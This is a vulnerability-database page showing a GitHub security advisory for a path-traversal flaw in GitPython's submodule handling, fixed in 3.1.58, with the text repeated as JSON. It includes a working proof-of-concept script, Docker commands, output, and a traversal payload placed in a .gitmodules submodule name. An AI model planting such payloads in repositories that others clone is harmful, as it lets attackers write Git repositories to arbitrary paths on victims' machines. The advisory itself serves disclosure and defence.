GHSA-HMQ2-W58F-27JC

Vulnerability from github – Published: 2026-08-07 15:45 – Updated: 2026-08-07 15:45
VLAI
Summary
GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython
Details

Summary

GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True) / sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.

Details

src/GitPython/git/objects/submodule/util.py sm_name() strips the submodule " / " wrapper from a .gitmodules [submodule "..."] header and returns the result unchecked. Submodule.iter_items() in src/GitPython/git/objects/submodule/base.py reads this via sm_name(sms) and assigns it to sm._name; unlike the submodule path, name is never used for a tree lookup, so it is never implicitly validated. Submodule._module_abspath() then builds osp.join(parent_repo.git_dir, "modules", name) - os.path.join does not normalize ../ sequences. Submodule._clone_repo() passes this value straight to os.makedirs() and to git clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.

PoC

  1. Environment: Docker image built FROM python:3.11-slim, with git installed via apt-get install -y git (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git 2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via pip install /src/GitPython from this repository's own source, which the advisory states resolved to the officially released GitPython==3.1.57 and gitdb==4.0.12.
  2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (repo.submodules + sm.update(init=True), equivalent to git submodule update --init).
  3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section):
$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .
$ docker run --rm ghsa-gitpython-poc

(Per the Dockerfile, docker run executes /work/run_all.sh, which in turn runs build_attacker_repo.sh, then poc_gitpython.py, then poc_control_realgit.sh.) 4. Full source of the PoC script (GHSA/testing/poc_gitpython.py), verbatim:

"""GHSA-001 PoC: GitPython side.

Clones the attacker repo and runs the equivalent of
`git submodule update --init` via GitPython, then checks whether a git
repository was created outside the clone directory.
"""
import os
import shutil

import git

CLONE_DIR = '/work/victim_clone/repo'
ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'


def main():
    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)
    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)
    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)

    print(f'GitPython version: {git.__version__}')
    repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)
    print('Cloned into:', repo.working_tree_dir)

    sms = list(repo.submodules)
    for sm in sms:
        print('  submodule name:', repr(sm.name))
        print('  submodule path:', repr(sm.path))

    print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))

    for sm in sms:
        try:
            sm.update(init=True)
        except Exception as e:
            print('sm.update raised:', repr(e))

    exists = os.path.exists(ESCAPE_TARGET)
    print('escape_target exists after update:', exists)
    if exists:
        print('escape_target contents:', os.listdir(ESCAPE_TARGET))

    print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')


if __name__ == '__main__':
    main()
  1. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section):
=== GitPython PoC (vulnerable path) ===
GitPython version: 3.1.57
Cloned into: /work/victim_clone/repo
  submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'
  submodule path: 'legit_dir'
escape_target exists before update: False
escape_target exists after update: True
escape_target contents: ['modules_dir']
POC_RESULT=VULNERABLE

=== Control: real git CLI on identical repo ===
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
fatal: No url found for submodule path 'legit_dir' in .gitmodules
CONTROL_RESULT=SAFE (real git correctly refused)
  1. Payload: the attacker rewrites the .gitmodules section header from [submodule "legit_dir"] to [submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"] (built by build_attacker_repo.sh, part of the harness in GHSA/testing/). The malicious part is the ../../../../../../ traversal sequence embedded in the submodule name (not the tree-validated path), which becomes the on-disk target for the submodule's separate git directory.
  2. Expected vs. observed: A safe implementation (as demonstrated by the real git CLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at /tmp/gitpython_poc_escaped_root/modules_dir, confirmed by escape_target exists after update: True and its listed contents.
  3. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) url.

Impact

Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T15:45:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nGitPython computes the on-disk location of a submodule\u0027s separate Git directory (`.git/modules/\u003cname\u003e`) from the submodule\u0027s `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython\u0027s independent reimplementation never adopted an equivalent check.\n\n### Details\n`src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule \"` / `\"` wrapper from a `.gitmodules` `[submodule \"...\"]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, \"modules\", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=\u003cmodule_abspath\u003e`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.\n\n### PoC\n1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as \"git 2.x\"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository\u0027s own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`.\n2. Configuration / preconditions: None beyond what\u0027s described - the victim must clone the attacker\u0027s repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`).\n3. Commands run (quoted verbatim from the advisory\u0027s \"Confirmed test run\" section):\n```bash\n$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .\n$ docker run --rm ghsa-gitpython-poc\n```\n(Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.)\n4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim:\n```python\n\"\"\"GHSA-001 PoC: GitPython side.\n\nClones the attacker repo and runs the equivalent of\n`git submodule update --init` via GitPython, then checks whether a git\nrepository was created outside the clone directory.\n\"\"\"\nimport os\nimport shutil\n\nimport git\n\nCLONE_DIR = \u0027/work/victim_clone/repo\u0027\nESCAPE_TARGET = \u0027/tmp/gitpython_poc_escaped_root\u0027\n\n\ndef main():\n    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)\n    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)\n    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)\n\n    print(f\u0027GitPython version: {git.__version__}\u0027)\n    repo = git.Repo.clone_from(\u0027/work/attacker_repo\u0027, CLONE_DIR)\n    print(\u0027Cloned into:\u0027, repo.working_tree_dir)\n\n    sms = list(repo.submodules)\n    for sm in sms:\n        print(\u0027  submodule name:\u0027, repr(sm.name))\n        print(\u0027  submodule path:\u0027, repr(sm.path))\n\n    print(\u0027escape_target exists before update:\u0027, os.path.exists(ESCAPE_TARGET))\n\n    for sm in sms:\n        try:\n            sm.update(init=True)\n        except Exception as e:\n            print(\u0027sm.update raised:\u0027, repr(e))\n\n    exists = os.path.exists(ESCAPE_TARGET)\n    print(\u0027escape_target exists after update:\u0027, exists)\n    if exists:\n        print(\u0027escape_target contents:\u0027, os.listdir(ESCAPE_TARGET))\n\n    print(\u0027POC_RESULT=VULNERABLE\u0027 if exists else \u0027POC_RESULT=SAFE\u0027)\n\n\nif __name__ == \u0027__main__\u0027:\n    main()\n```\n5. Exact captured terminal output (verbatim, from the original advisory\u0027s \"Confirmed test run (Docker, released package)\" section):\n```\n=== GitPython PoC (vulnerable path) ===\nGitPython version: 3.1.57\nCloned into: /work/victim_clone/repo\n  submodule name: \u0027../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\u0027\n  submodule path: \u0027legit_dir\u0027\nescape_target exists before update: False\nescape_target exists after update: True\nescape_target contents: [\u0027modules_dir\u0027]\nPOC_RESULT=VULNERABLE\n\n=== Control: real git CLI on identical repo ===\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nfatal: No url found for submodule path \u0027legit_dir\u0027 in .gitmodules\nCONTROL_RESULT=SAFE (real git correctly refused)\n```\n6. Payload: the attacker rewrites the `.gitmodules` section header from `[submodule \"legit_dir\"]` to `[submodule \"../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\"]` (built by `build_attacker_repo.sh`, part of the harness in `GHSA/testing/`). The malicious part is the `../../../../../../` traversal sequence embedded in the submodule *name* (not the tree-validated `path`), which becomes the on-disk target for the submodule\u0027s separate git directory.\n7. Expected vs. observed: A safe implementation (as demonstrated by the real `git` CLI control run) rejects the submodule name with \"ignoring suspicious submodule name\" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at `/tmp/gitpython_poc_escaped_root/modules_dir`, confirmed by `escape_target exists after update: True` and its listed contents.\n8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim\u0027s intended clone directory, populated with attacker-controlled content sourced from the submodule\u0027s own (also attacker-controlled) `url`.\n\n### Impact\nPath traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.",
  "id": "GHSA-hmq2-w58f-27jc",
  "modified": "2026-08-07T15:45:40Z",
  "published": "2026-08-07T15:45:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2202"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…